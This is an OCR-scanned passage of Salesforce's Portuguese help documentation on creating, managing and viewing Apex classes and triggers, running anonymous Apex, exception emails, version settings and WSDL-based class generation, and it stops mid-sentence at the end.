5. Clique em Salvar para salvar as alteragdes e retornar a tela de detalhes da classe, ou em Gravacao rapida para salvar as alteracdes
e continuar a editar a classe. A classe do Apex deve ser compilada corretamente para que vocé possa salvar a classe.

Uma vez salvas, as classes podem ser chamadas por métodos de classe ou varidveis por outro cédigo Apex, como um acionador.

@ Nofa: Para auxiliar na compatibilidade reversa, as classes serdo armazenadas com as configuracoes para uma versao especificada
do Apex e da API. Se a classe do Apex fizer referéncia a componentes, como um objeto personalizado, em um pacote gerenciado
instalado, as configuracdes de verséo para cada pacote gerenciado mencionado pela pagina também serdo salvas. Além disso, as
classes sdo armazenadas com um indicador Valido que é definido como verdadei ro, contanto que os metadados
dependentes ndo tenham sido alterados desde a Ultima compilagdo da classe. Se qualquer alteracao for feita nos nomes do objeto
ou nos campos usados na classe, incluindo alteragdes superficiais, como edicdes em uma descricao de objeto ou campo ou uma
classe alterada que chama essa classe, o indicador Valido serd definido como falso.Quando a chamada de um acionador
ou servico da Web chama a classe, o cédigo é recompilado e o usudrio notificado se houver erros. Se ndo houver nenhum erro, o
indicador va1ido serd redefinido como verdadeiro.

CONSULTE TAMBEM:
Gerenciar classes do Apex
Exibir classes do Apex

Gerenciando configuracdes de versao para o Apex
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Definir acionadores do Apex

Os acionadores do Apex sao armazenados como metadados no aplicativo sob o objeto com o qual

estdo associados.

@ Nota: Vocé sé pode adicionar, editar ou excluir o Apex usando a interface do usuario do

Salesforce em uma organizacdo Developer Edition, uma organizacdo de avaliacdo Enterprise
Edition do Salesforce ou uma organizagdo sandbox. Em uma organizacdo de producéo do

Salesforce, vocé s6 pode fazer alteragdes no Apex usando a chamada da APl de metadados
deploy, o Force.com IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com
Migration Tool sdo recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usuarios e
parceiros, mas nao sao considerados parte de nossos Servigos dentro do escopo do Contrato

de assinatura mestre do Salesforce.

Nas configuracoes de gerenciamento de objeto para o objeto cujos acionadores vocé deseja

acessar, acesse Acionadores.

o Dica: Para os objetos padrdo Anexo, ContentDocument e Nota, ndo € possivel criar um
acionador nainterface com o usudrio do Salesforce. Para esses objetos, crie um acionador
usando ferramentas de desenvolvimento, como o Console do desenvolvedor ou o IDE
do Force.com. Como op¢ao, também se pode usar a APl de metadados.

Na lista Acionadores, cliqgue em Novo.

Clique em Configuragdes da verséo para especificar a versao do Apex e a APl usada com esse
acionador. Se sua organizacao tiver instalado pacotes gerenciados pelo AppExchange, vocé
também podera especificar qual versao de cada pacote gerenciado devera ser utilizada com
esse acionador. Use os valores padrdo para todas as versdes. Isso associa o acionador com a
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢cdes
Performance, Unlimited,
Developer, Enterprise e
Database.com

Objetos padrdo,
campanhas, casos e emails

ndo estdo disponiveis no
Database.com

PERMISSOES DO

USUARIO

Para definir acionadores do
Apex:
e "Apex do autor”

versao mais recente do Apex e da APJ, além de a cada pacote gerenciado. Vocé pode especificar uma versao mais antiga de um
pacote gerenciado caso queira acessar os componentes ou funcionalidades diferentes da versao do pacote mais recente.

Clique em Acionador do Apex e selecione a caixa de selecdo Ativo se oacionador deve ser compilado e ativado. Deixe a caixa de
selecdo desmarcada se desejar somente armazenar o cédigo nos metadados da organizacéo. Essa caixa de selecdo opgdo esta

marcada por padrao.

Na caixa de texto Corpo, insira 0 Apex para o acionador. Um Unico acionador pode ter até 1 milhdo de caracteres de comprimento.

Para definir um acionador, use a sintaxe sequinte:

trigger TriggerName on ObjectName (trigger events)

code block
}

emaque compromissos_do_acionador podeserumalista separada porvirgulas de um oumais dos seguintes compromissos:

® before insert
®* Dbefore update
® Dbefore delete
® after insert
®* after update
® after delete

after undelete

[ ]
@ Nota: Um acionador chamado por insert, delete ou update de um compromisso ou evento recorrente, resulta em

um erro de tempo de execucao quando é chamado em massa da APl do Force.com.
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6. Clique em Salvar.

@ Nota: Os acionadores sdo armazenados com um indicador valido que é definido como verdadeiro, contanto que os
metadados dependentes nao tenham sido alterados desde a Ultima compilagdo do acionador. Se qualquer alteracéo for feita nos
nomes do objeto ou nos campos usados no acionador, incluindo alteracdes superficiais, como edi¢des em uma descricdo de objeto
ou campo, o indicador Valido serd definido como falso até o compilador do Apex processar o codigo novamente. A
recompilagdo ocorrerd quando o acionador for executado da préxima vez, ou quando um usudrio salvar o acionador novamente
nos metadados.

Se um campo de pesquisa fizer referéncia a um registro que foi excluido, o Salesforce limpara o valor do campo por padréo. Vocé
também pode, como alternativa, optar por evitar que registros sejam excluidos se nao estiverem em um relacionamento de

pesquisa.

CONSULTE TAMBEM:
Gerenciar acionadores do Apex

Gerenciando configuragdes de versdo para o Apex

Executando o cédigo do apex andnimo

O Console do desenvolvedor permite que vocé execute o codigo do Apex como outra maneira de gerar registros de depuracdo que
cobrem uma ldgica de aplicativo especffica.

Permissoes necessdrias ao usuario

Para executar anénimo no Apex: “Apex do autor”

A ferramenta Executar andnimo no Apex no Console do desenvolvedor executa o cédigo do Apex inserido usando
ExecuteAnonymous € gera um registro de depuracao com os resultados da execucdo.

Cuidado: Se vocé chamar uma classe que contenha um testMethod, todas as instru¢des DML do método de teste serdo
executadas. Essa acao poderd adicionar dados indesejados a sua organizacao.

1. Clique em Debug (Depurar) > Open Execute Anonymous Window (Abrir janela executar andnimo) para abrir a janela Inserir
Apex code.

Enter Apex Code | x
Integer intl = 0;
void myProcedurel() {
myProcedure () ;
}
void myProcedure2 () {
intl++s

'

myProcedurel () ;

Openlog  Execute | Execute Highlighted
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Insira o codigo que deseja executar na janela Inserir codigo do Apex ou clique em | para abrir o editor de c6digo em uma nova
janela do navegador. Para abrir automaticamente o registro de depuracéo resultante quando a execucéo for concluida, selecione
Open Log (Abrir registro).

@ Nofa: A palavra-chave static ndo pode ser usada em codigo anénimo.

3. Execute o cédigo:
a. Clique em Executar ou CTRL+E para executar todo o codigo na janela.
b. Paraexecutar somente as linhas selecionadas do cdigo, selecione as linhas e clique em Executar destacado ou CTRL+SHIFT+E.
4. Se Abrir registro tiver sido selecionado, o registro ird abrir automaticamente no Inspetor de registro. Depois de o cédigo executar,
o registro de depuracéo serd listado na guia Logs (Registros). Clique duas vezes no registro para abri-lo no Inspetor de registro.

5. Para executar o mesmo cédigo novamente sem fazer alteracées, clique em Debug (Depurar) > Execute Last (Executar tltimo).
Se deseja modificar o codigo, clique em Debug (Depurar) > Open Execute Anonymous Window (Abrir janela executar
anonimo) para abrir a janela Inserir Apex code com a entrada anterior.

CONSULTE TAMBEM:
Menu Depurar
Inspetor de registro
Usando registros de depuragao

Guia Registros
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O que acontece quando ocorre uma exce¢do do Apex?

Quando ocorre uma excegao, a execugao do codigo é interrompida. Quaisquer operagdes DML que
foram processadas antes da excecao sdo desfeitas e nao séo confirmadas no banco de dados.
Excecdes sao registradas nos registros de depuracdo. Para exce¢des ndo tratadas, ou seja, excecoes
que o cédigo ndo capta, o Salesforce envia um email que inclui as informacdes da excecdo. O usudrio
final vé uma mensagem de erro na interface do usudrio do Salesforce.

Emails de excecdes ndo tratadas

Quando ocorrem excecdes ndo tratadas do Apex, ocorre o envio de emails que incluem o
rastreamento de pilha do Apex, bem como a organizacéo e o ID do usuario do cliente. Nenhum
outro dado do cliente é retornado com o relatério. Emails de excecdes ndo tratadas sao enviados
por padrao ao desenvolvedor especificado no campo LastModi fiedBy naclasse ou acionados
com falha. Além disso, é possivel enviar emails a usudrios de sua organizacdo do Salesforce e a
enderecos de email arbitrérios. Para configurar essas notificagdes por email, em Configuracao, insira
Email de excecdo de Apex nacaixa Busca rapida e selecione Email de excecao
de Apex. Também é possivel configurar os emails de excecdes do Apex usando o objeto
ApexEmailNotification da APl do conjunto de ferramentas.

@ Nofta: Se ocorrerem exceces duplicadas no Apex code que é executado de forma sincrona,
emails de excecdes subsequentes serdo suprimidos e apenas o primeiro email serd enviado.
Essa supressdo de email evita lotar a caixa de entrada do desenvolvedor com emails sobre o
mesmo erro. Para Apex assincrono, incluindo Apex em lote e métodos anotados com
@future, emails para exce¢des duplicadas nao sdo suprimidos.

Excecdes ndo tratadas na interface do usuario

Se um usudrio final se deparar com uma excecao ocorrida no Apex code durante o uso da interface
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Performance, Unlimited,
Developer, Enterprise e
Database.com

PERMISSOES DO

USUARIO

Para acessar a pagina
Configuragdo de email de
excecdo do Apex

e "Exibir configurac¢do”
Para escrever um Apex
code

e "Apex do autor”

Para usar a APl do conjunto
de ferramentas

e "AP| ativada”

do usuario padrdo, seré exibida uma mensagem de erro. A mensagem de erro inclui texto semelhante a notificagdo mostrada aqui.

Merchandise Edit

. New Merchandise

Help for thiz Page &9

Merchandise Edit Save | | Save & New | Cancel

Error: Invalid Data.
Review all error messages below to correct your data.

Trigger.myMerchandiseTrigger: line 3, column 1
Information

Merchandizse Name Owner  TestUser

[Esesers

Description | l\iite erasers

Price I 150

Total Inventory I 120

Apex trigger myMerchandiseTrigger caused an unexpected exception, contact your administrator: myMerchandiseTrigger:
execution of Beforelnsert caused by: System.NullPointerException: Attempt to de-reference a null object:

| = Required Information
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Lidando com exce¢des do Apex nos pacotes gerenciados

Ao criar um pacote gerenciado para o Force.com AppExchange, vocé pode especificar um usuario EDlCC)ES
para receber a notificacdo por email quando houver uma exce¢do que nao tenha sido identificada
pelo Apex. As excecbes nao identificadas podem ser geradas de:

Disponivel em: Salesforce

e Uma acao ou método getter do Visualforce Classic
e Um método do servico da Web Disponivel em: Edices
e Um acionador Performance, Unlimited,

) . . Developer e Enterprise
0 email que é enviado tem o sequinte formato: P P

PERMISSOES DO

USUARIO

Para criar pacotes:

e "Criar pacotes do
Force.com
AppExchange”

Para carregar pacotes:

e “Carregar pacotes do
Force.com
AppExchange”

Parar criar o Apex:
e “Apex do autor”

———————————————————————————————————————————————————————————————————————————————— Assunto:
Excecdo de script do desenvolvedor de NOME DA CLASSE Excecdo de acionador de script
do Apex n&o tratada pelo usuédrio/organizacdo: ID DO USUARIO/ID DA ORG STRING DA EXCECAO
RASTREAMENTO DE PILHA

Aplicativo do Apex? <info@salesforce.com> Para: joeuser@salesforce.com
<joeuser@salesforce.com> Assunto: Excecdo de script do desenvolvedor da Gack WS? Data:
Segunda, 26 de novembro de 2007 14:42:41 +0000 (GMT) (06:42 PST) Excecdo de acionador
de script do Apex ndo tratada pelo usudrio/organizacdo: 010x0000000rfPg/00Fx0000000%e77
TestException.Test Exception?: Gack WS exception Class.Gack WS?.gackTestException:
linha 4, coluna 11

O numero de emails gerados para 0 mesmo erro limita-se a 10 mensagens com o0 mesmo assunto em um periodo de 60 segundos.
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Gerenciar classes do Apex

PERMISSOES DO

Disponivel em: Edicdes Performance, Unlimited, Developer e Enterprise

USUARIO

Para definir, editar, excluir,

Uma classe do Apex é um modelo ou projeto a partir do qual objetos do Apex sao criados. As classes definir a seguranca, definir

consistem em outras classes, métodos definidos pelo usudrio, varidveis, tipos de exce¢do e cédigo as configuracdes da versdo,
deinicializacdo estatico. Depois que sdo salvos corretamente, métodos de classe ou varidveis podem mostrar dependéncias e
ser chamados por outro cédigo do Apex ou pela APl SOAP (ou Kit de ferramentas AJAX) para executar testes de classes
métodos que foram designados com a palavra-chave webService. do Apex:

L L . . e "Apex do autor”
A pégina Classes Apex permite criar e gerenciar classes do Apex. Para acessar a pagina Classes do

Apex, em Configuragdo, insira Classes do Apex nacaixa Busca rapida e selecione
Classes do Apex. Para obter funcionalidades de desenvolvimento adicionais, use o Console do desenvolvedor.

Para criar uma classe do Apex, na pagina Classes Apex, clique em Novo e insira seu cédigo Apex no editor.

Embora os desenvolvedores possam gravar métodos de classe de acordo com a sintaxe descrita no Force.com Apex Code Developer's
Guide (Guia do desenvolvedor do Apex Code), as classes também podem ser geradas automaticamente consumindo um documento
WSDL armazenado em um disco rigido local ou em uma rede. A criacdo de uma classe consumindo um documento WSDL permite que
os desenvolvedores fagam callouts para o servico externo da Web no Apex. Na pagina Classes Apex, clique em Gerar do WSDL para
gerar uma classe do Apex a partir de um documento WSDL.

Depois de criar uma classe do Apex, vocé pode executar qualquer uma das seguintes acoes:

e (lique em Editar, ao lado do nome da classe, para modificar o seu contetido em um editor simples.

e (lique em Excluir, ao lado do nome da classe, para excluir a classe da organizacéo.

@ Nota:

- Vocé s pode adicionar, editar ou excluir o Apex usando a interface do usudrio do Salesforce em uma organizacao Developer
Edition, uma organizagdo de avaliacao Enterprise Edition do Salesforce ou uma organizagdo sandbox. Em uma organizagéo
de producdo do Salesforce, vocé sé pode fazer alteracdes no Apex usando a chamada da APl de metadados deploy, 0
Force.com IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com Migration Tool sdo recursos gratuitos
fornecidos pelo Salesforce para auxiliar seus usudrios e parceiros, mas nao sao considerados parte de nossos Servicos
dentro do escopo do Contrato de assinatura mestre do Salesforce.

-~ Vocé ndo pode excluir uma classe especificada como um controlador em um componente ou pagina do Visualforce.

—= Umicone /& indica que uma classe do Apex foi langada em um pacote gerenciado. As classes do Apex em pacotes tém
consideragdes especiais.

= Umicone 4, indica que uma classe do Apex estd em um pacote gerenciado instalado. Vocé néo pode editar nem excluir
uma classe em um pacote gerenciado.

= Umicone & indica que uma classe Apex em um pacote gerenciado previamente liberado serd excluida ao carregar o
préximo pacote. Vocé pode optar por desfazer a excluséo da classe Apex por meio da pagina de detalhe do pacote.

e Seuma classe do Apex tiver algum método definido como um webService, vocé poderd clicar em WSDL ao lado do nome da
classe para gerar um documento WSDL com base no contelido da classe. Esse documento contém todas as informacées necessarias
para um cliente consumir métodos de servico da Web do Apex. Todos os métodos de classe com a palavra-chave webService
sdo inclufdos no documento WSDL resultante.

e (lique em Segurancga ao lado do nome da classe para selecionar os perfis autorizados a executar métodos na classe usando pontos
de entrada de nivel superior, como os métodos de servico da Web. Para as classes que estdo instaladas em sua organizagdo como
parte de um pacote gerenciado, esse link serd exibido somente para aquelas que séo definidas como global.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
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e (lique em Estimar cobertura de cédigo da sua organizagao para descobrir o nivel de cobertura atual do cédigo Apex em sua
organizacéo pelos testes da unidade. Esse percentual se baseia nos mais recentes resultados de testes que vocé ja executou. Se vocé
nao tiver resultados de testes, a cobertura de cédigo serd 0%.

e Sevocé tiver testes de unidade em pelo menos uma classe do Apex, clique em Executar todos os testes para executar todos os
testes de unidade em sua organizacéo.

e (lique em Compilar todas as classes para compilar todas as classes do Apex em sua organizagdo. Se vocé tiver classes que sdo
instaladas de um pacote gerenciado e que tenham métodos de teste ou sejam classes de teste, deve compilar essas classes primeiro
para poder exibi-las e executar os métodos de teste na pagina Execucdo de teste do Apex. As classes do pacote gerenciado podem
ser compiladas apenas por meio do link Compilar todas as classes porque ndo podem ser salvas. Caso contrario, salvar as classes
do Apex que ndo fazem parte de um pacote gerenciado faz com que sejam recompiladas. Esse link compila todas as classes do Apex
em sua organizacao, sejam ou nao de um pacote gerenciado.

@ Nofta: O prefixo de namespace é adicionado as classes e acionadores do Apex, componentes e paginas do Visualforce, modelos
de marca, pastas, s-controls, recursos estaticos, links da web e tipos de relatério personalizados caso eles estejam incluidos em
um pacote gerenciado. Mas se vocé ndo tiver permissao para personalizar aplicativos, o campo de prefixo de namespace néo sera
exibido para modelos de marca, pastas e tipos de relatério personalizados.

CONSULTE TAMBEM:
Definir classes do Apex

Exibir classes do Apex

Gerenciar acionadores do Apex

Acionador é o codigo do Apex executado antes ou depois que eventos especificos de linguagem EDlCC)ES
de manipulacao de dados (DML) ocorrem; por exemplo, antes que registros de objetos sejam
inseridos no banco de dados ou depois que 0s registros sdo excluidos.

Disponivel em: Salesforce
Os acionados sdo armazenados como metadados no Salesforce. Uma lista de todos os acionadores Classic e Lightning

na sua organizacdo estd localizada na pagina Acionadores do Apex em Configuracdo. Os acionadores Experience

também s&o associados e armazenados com objetos especificos e séo listados nas configuracdes
de gerenciamento de cada objeto. Para obter funcionalidades de desenvolvimento adicionais, use
o Console do desenvolvedor.

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com

@ Nota: O prefixo de namespace é adicionado as classes e acionadores do Apex, componentes Editions

e paginas do Visualforce, modelos de marca, pastas, s-controls, recursos estéticos, links da
web e tipos de relatério personalizados caso eles estejam incluidos em um pacote gerenciado. PERMISSOES DO
Mas se vocé ndo tiver permissao para personalizar aplicativos, o campo de prefixo de USUARIO

namespace nao sera exibido para modelos de marca, pastas e tipos de relatério personalizados.

Para definir, editar, excluir,
definir configuragdes de
versdo e mostrar
dependéncias de
acionadores do Apex:
Depois de criar um acionador do Apex: * “Apex do autor”

Cligue em Novo para criar um acionador do Apex.

@ Nota: Vocé sé pode criar acionadores a partir do objeto associado, ndo pela pagina
Acionadores do Apex.

e (lique em Editar, ao lado do nome do acionador, para modificar o seu contedido em um editor
simples.

e (lique em Excluir, ao lado do nome do acionador, para excluir o acionador da organizagao.
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e Vocé s6 pode adicionar, editar ou excluir o Apex usando a interface do usuario do Salesforce em uma organizacdo Developer
Edition, uma organizagdo de avaliacéo Enterprise Edition do Salesforce ou uma organiza¢ao sandbox. Em uma organizacéo
de producéo do Salesforce, vocé sé pode fazer alteragcdes no Apex usando a chamada da APl de metadados deploy, 0
Force.com IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com Migration Tool s&o recursos gratuitos fornecidos
pelo Salesforce para auxiliar seus usudrios e parceiros, mas nao sao considerados parte de nossos Servicos dentro do escopo

do Contrato de assinatura mestre do Salesforce.

®  Umicone #; indica que um acionador do Apex estd em um pacote gerenciado instalado. Vocé ndo pode editar nem excluir

um acionador em um pacote gerenciado.

® Umicone & indica que um acionador Apex em um pacote gerenciado previamente liberado seré excluido no upload do
proximo pacote. Vocé pode optar por desfazer a exclusao do acionador Apex por meio da pagina de detalhe do pacote.

CONSULTE TAMBEM:

Definir acionadores do Apex

Gerenciando configuragdes de versdo para o Apex

Para auxiliar na compatibilidade reversa, as classes serdo armazenadas com as configuragdes para
uma versao especificada do Apex e da API. Se a classe do Apex fizer referéncia a componentes,
como um objeto personalizado, em um pacote gerenciado instalado, as configuracées de versao
para cada pacote gerenciado mencionado pela pagina também serdo salvas. Isso garante que, a
medida que o Apex, a APl e os componentes dos pacotes gerenciados evoluem para as subsequentes
versoes lancadas, uma classe ou acionador ainda estarao ligados as versdes com comportamento
especifico e conhecido.

Vers&o do pacote é um nimero que identifica o conjunto de componentes carregados em um
pacote. O nimero da versao tem o formato majorNumber.minorNumber . patchNumber
(por exemplo, 2.1.3). Os nimeros maiores e menores aumentam para um valor escolhido em toda
versao principal. O patchNumber é gerado e atualizado apenas para a versao do patch. Os
editores podem usar as versdes do pacote para evoluirem os componentes nos pacotes gerenciados
com suavidade, lancando versdes subseqiientes do pacote sem romper as integragdes existentes
com clientes usando o pacote.

Para definir a versao da APl e do Apex do Salesforce para uma classe ou para um acionador:
1. Edite ou a classe ou o acionador e, em seguida, clique em Configura¢des da versao.

2. Selecionea Versao daAPldo Salesforce. Essa também € a versao do Apex associada a classe
ou ao acionador.

3. (lique em Salvar.
Para configurar as configuracdes da verséo do pacote para uma classe ou para um acionador:
1. Edite ou a classe ou o acionador e, em sequida, clique em Configura¢des da versao.

2. Selecione uma Versao para cada pacote gerenciado mencionado pela classe ou pelo

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Performance, Unlimited,
Developer, Enterprise e
Database.com

Os pacotes gerenciados
ndo estdo disponiveis em
Database.com.

PERMISSOES DO

USUARIO

Para definir, editar, excluir,
definir a seguranca, definir
as configuracdes da versdo,
mostrar dependéncias e
executar testes de classes
do Apex:

e "Apex do autor”

acionador. Essa versao o pacote gerenciado continuard a ser usada pela classe ou pelo acionador se forem instaladas versées
posteriores do pacote gerenciado, a menos que vocé atualize manualmente a configuracéo da versao. Para adicionar um pacote
gerenciado instalado a lista de configuragdes, selecione um pacote na lista de pacotes disponiveis. A lista s6 sera exibida se vocé

tiver um pacote gerenciado instalado que ainda ndo esteja associado a classe ou ao acionador.

3. (lique em Salvar.
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Observe o seguinte ao trabalhar com as configuracées da versao do pacote:;

e Sevocé salvar uma classe ou acionador do Apex que faga referéncia a um pacote gerenciado sem especificar uma verséo do pacote
gerenciado, esse acionador ou classe do Apex estard associado a Ultima versao instalada do pacote gerenciado, como padréo.

e Vocé nao podera Remover a configuracdo da verséo da classe ou do acionador para um pacote gerenciado se ele for mencionado
na classe ou no acionador. Use Mostrar dependéncias para localizar onde um pacote gerenciado é mencionado por uma classe
ou por um acionador.

Exibir classes do Apex

Depois de vocé criar a classe, é possivel visualizar o cédigo contido nela, além da APl na qual a EDICOES
classe foi salva e se a classe € vélida ou ativa. Em Configuracao, insira Classes do Apex na
caixa Busca rapida,selecione Classes do Apex e clique no nome da classe que deseja exibir.

Disponivel em: Salesforce

Para exibir uma classe, € possivel executar as agoes a seguir. Classic e Lightning
e (lique em Editar para fazer alteragcdes na classe. Experience
@ Nota: Disponivel em: Enterprise,
. . ) ) ) o Performance, Unlimited,
-~ Vocé s6 pode adicionar, editar ou excluir o Apex usando a interface do usudrio do Developer ¢ Database.com
Salesforce em uma organizacéo Developer Edition, uma organizacéo de avaliacao Editions

Enterprise Edition do Salesforce ou uma organizacdo sandbox. Em uma organizagéo
de producao do Salesforce, vocé s6 pode fazer alteragdes no Apex usando a chamada »
da APl de metadados deploy, o Force.com IDE ou a Force.com Migration Tool. O PERN_\'SSOES DO
Force.com IDE e o Force.com Migration Tool sdo recursos gratuitos fornecidos pelo USUARIO
Salesforce para auxiliar seus usuarios e parceiros, mas nao sao considerados parte de
nossos Servicos dentro do escopo do Contrato de assinatura mestre do Salesforce.

Para definir, editar, excluir,
definir a seguranca, definir

= Umicone /& indica que uma classe do Apex foi langada em um pacote gerenciado. as configuracdes da versdo,
As classes do Apex em pacotes tém consideracoes especiais. mostrar dependéncias e
executar testes de classes

= Umicone # indica que uma classe do Apex estd em um pacote gerenciado instalado.

do Apex:
Vocé nédo pode editar nem excluir uma classe em um pacote gerenciado.

e “Apex do autor”
= Umicone & indica que uma classe Apex em um pacote gerenciado previamente

liberado serd excluida ao carregar o préximo pacote. Vocé pode optar por desfazer

a exclusao da classe Apex por meio da pagina de detalhe do pacote.

Vocé sé pode adicionar, editar ou excluir o Apex usando a interface do usudrio do
Salesforce em uma organizacéo Developer Edition, uma organizacéo de avaliacao
Enterprise Edition do Salesforce ou uma organizagdo sandbox. Em uma organizacdo de
producao do Salesforce, vocé s6 pode fazer alteracdes no Apex usando a chamada da
APl de metadados deploy, o Force.com IDE ou a Force.com Migration Tool. O Force.com
IDE e o Force.com Migration Tool sdo recursos gratuitos fornecidos pelo Salesforce para
auxiliar seus usuarios e parceiros, mas ndo sao considerados parte de nossos Servicos
dentro do escopo do Contrato de assinatura mestre do Salesforce.

e (licar em Excluir para excluir a classe.

@ Nota: Vocé ndo pode excluir uma classe especificada como um controlador em um componente ou pagina do Visualforce.

e Sesuaclasse tiver um método definido comoum webService, clique em Gerar WSDL para gerar um documento WSDL baseado
na classe.

@ Nota: Vocé ndo pode gerar um documento WSDL para classes definidas como isTest.
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e (lique em Fazer download para fazer download de uma cépia do Apex.

e (lique em Executar teste para executar os testes de unidade contidos na classe.

e (lique em Seguranca para definir a sequranca do nivel da classe do Apex.

e (lique em Mostrar dependéncias para exibir os itens, como campos, objetos ou outras classes, que devem existir para que esta
classe seja valida.

A guia Resumo das classes exibe o protétipo da classe; ou seja, classes, métodos e varidveis que estao disponiveis a outro codigo do
Apex. A guia Resumo das classes lista o nivel de acesso e a assinatura para cada método e varidvel em uma classe do Apex, assim como
quaisquer classes internas. Se nao houver nenhum protétipo disponfvel, essa guia nao estara disponivel.

@ Nota:

e Paraasclasses do Apex que nao estiverem incluidas nos pacotes gerenciados, sdo exibidos somente classes, métodos e variaveis
definidos como global ou publico.

e Paraas classes do Apex incluidas em pacotes gerenciados, a guia Resumo das classes também lista a versao do pacote que
uma determinada propriedade ou método introduziu. Vocé pode selecionar um nimero de vers&o na lista suspensa para ver
0 prototipo referente a versao do pacote selecionado. O valor padrdo é a versao atual instalada. O desenvolvedor do pacote
pode recusar um método do Apex e fazer upload de uma nova versao do pacote, expondo assim uma classe do Apex com
um prototipo diferente. Somente as classes, os métodos e as variaveis definidas como globais serdo exibidas nos protétipos
referentes as classes do pacote gerenciado.

Se uma classe do Apex fizer referéncias a componentes nos pacotes gerenciados instalados, como outra classe, acionador ou objeto
personalizado, a guia Configuragdes da verséo listard as versdes dos pacotes gerenciados instalados que contém os componentes
mencionados.

A guia Filtros do registro exibe as categorias do registro de depuragéo e os niveis de depuracao que podem ser definidos para a classe.

CONSULTE TAMBEM:
Definir classes do Apex
Gerenciar classes do Apex

Filtragem do registro de depuracao para classes do Apex e acionadores do Apex
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Exibir detalhes do acionador do Apex

Os acionadores do Apex sao armazenados como metadados no aplicativo sob o objeto com o qual
estao associados. Também é possivel exibir todos os acionadores em Configuragdo inserindo
Acionadores do Apexnacaixa Busca rapida eselecionandoAcionadoresdo Apex.

@ Nota: Vocé sé pode adicionar, editar ou excluir o Apex usando a interface do usuario do
Salesforce em uma organizacdo Developer Edition, uma organizacdo de avaliacdo Enterprise
Edition do Salesforce ou uma organizacdo sandbox. Em uma organizacdo de producéo do
Salesforce, vocé s6 pode fazer alteracdes no Apex usando a chamada da APl de metadados
deploy, o Force.com IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com
Migration Tool sdo recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usuarios e
parceiros, mas nao sao considerados parte de nossos Servicos dentro do escopo do Contrato
de assinatura mestre do Salesforce.

Para exibir os detalhes de um acionador, em Configuracao, insira "Acionadores do Apex" na caixa
Busca rapida,selecione Acionadores do Apex e clique no nome do acionador. Vocé também
pode acessar os detalhes do acionador a partir das configuracdes de gerenciamento de um objeto.

Na pagina de detalhes do acionador, é possivel executar as seguintes acoes:

e (lique em Editar para modificar o contetdo do acionador.

Nota: Um icone # indica que um acionador do Apex estd em um pacote gerenciado
instalado. Vocé ndo pode editar nem excluir um acionador em um pacote gerenciado.

e (lique em Excluir para excluir o acionador da sua organizacéo.
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
Editions

PERMISSOES DO

USUARIO

Para exibir os acionadores
do Apex:
e "Apex do autor”

e (lique em Mostrar dependéncias para exibir os itens, como campos, s-controls, ou classes, que s&o mencionados pelo coédigo do

Apex contido no acionado.

e (lique em Download do Apex para fazer download do texto do acionador. O arquivo é gravado com o nome do acionador como

nome de arquivo, com o tipo de arquivo . trg.
A pégina de detalhe do acionador mostra as seguintes informagdes para um acionador:

e O nome do acionador

e O nome do objeto com o qual o acionador esta associado, como Conta ou Caso.

A verséo da APl com a qual o acionador foi salvo.

e Seoacionador é vélido.

@ Nota: Os acionadores sdo armazenados com um indicador valido que é definido como verdadeiro, contanto que
os metadados dependentes nao tenham sido alterados desde a ultima compilagdo do acionador. Se qualquer alteracao for
feita nos nomes do objeto ou nos campos usados no acionador, incluindo alteracdes superficiais, como edicdes em uma
descricdo de objeto ou campo, o indicador Valido serd definido como falso até o compilador do Apex processar o
c6digo novamente. A recompilacao ocorrerd quando o acionador for executado da préxima vez, ou quando um usuario salvar

0 acionador novamente nos metadados.

Se um campo de pesquisa fizer referéncia a um registro que foi excluido, o Salesforce limpard o valor do campo por padréo.
Vocé também pode, como alternativa, optar por evitar que registros sejam excluidos se n&o estiverem em um relacionamento

de pesquisa.

e Seoacionador estd ativo.

e Otexto do cédigo do Apex contido no acionador.
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Se um acionador fizer referéncias a componentes nos pacotes gerenciados instalados, como uma classe do Apex, uma pagina do
Visualforce, um objeto personalizado, e assim por diante, a secdo Configuracdes da versao listard as versdes dos pacotes gerenciados
que contém os componentes mencionados.

Se o acionador estiver contido em um pacote gerenciado instalado, 0 Pacote instalado indicard o nome do pacote.

A guia Filtros do registro exibe as categorias do registro de depuracao e os nivel do nivel de depuracdo que vocé pode definir para o
acionador. Para obter mais informacées, consulte Filtragem do registro de depuracao para classes do Apex e acionadores do Apex na
pagina 289.

Criar uma classe do Apex de um WSDL

Uma classe do Apex pode ser gerada automaticamente de um documento WSDL armazenado em ED|COES

um disco rigido local ou na rede. A criagdo de uma classe consumindo um documento WSDL
permite que os desenvolvedores facam callouts para o servico externo da Web no Apex.

Disponivel em: Salesforce
Classic e Lightning

Nota: Use as Mensagens de saida para manipular solugdes de integracdo quando for possivel.

Use callouts para servicos na Web de terceiros somente quando for necessario. Experience

Para acessar essa funcionalidade: Disponivel em: Enterprise,
No aplicati " o ) o Performance, Unlimited,

1. Oap icativo, em Configuragdo, insira Classes do Apex Nacaixa Busca réapida e Developer e Database.com
selecione Classes do Apex. Editions

2. (lique em Gerar de WSDL.

3. Clique em Procurar para navegar para um documento WSDL em seu disco rigido local ou rede, PERMISSOES DO
ou digite o caminho completo. Este documento WSDL € a base para a classe do Apex que vocé USUARIO
esta criando.

Para definir, editar, excluir,
@ Nota: O documento WSDL que vocé especificar pode conter um local de ponto final definir a seguranca, definir
SOAP que faca referéncia a uma porta de saida. as configuracdes da versdo,
Por motivos de seguranca, o Salesforce restringe as portas de safda que vocé pode mosirar dependencias e
" : executar testes de classes
especificar a uma das seguintes: do Apex:
e 30: esta porta aceita somente conexdes HTTP. e "Apex do autor”
e 443:Essa porta aceita somente conexdes HTTPS.
e 1024-66535 (inclusive): estas portas aceitam conexdes HTTP ou HTTPS.

4. Clique em Analisar WSDL para verificar o contetdo do documento WSDL. O aplicativo gera um nome de classe padréo para cada
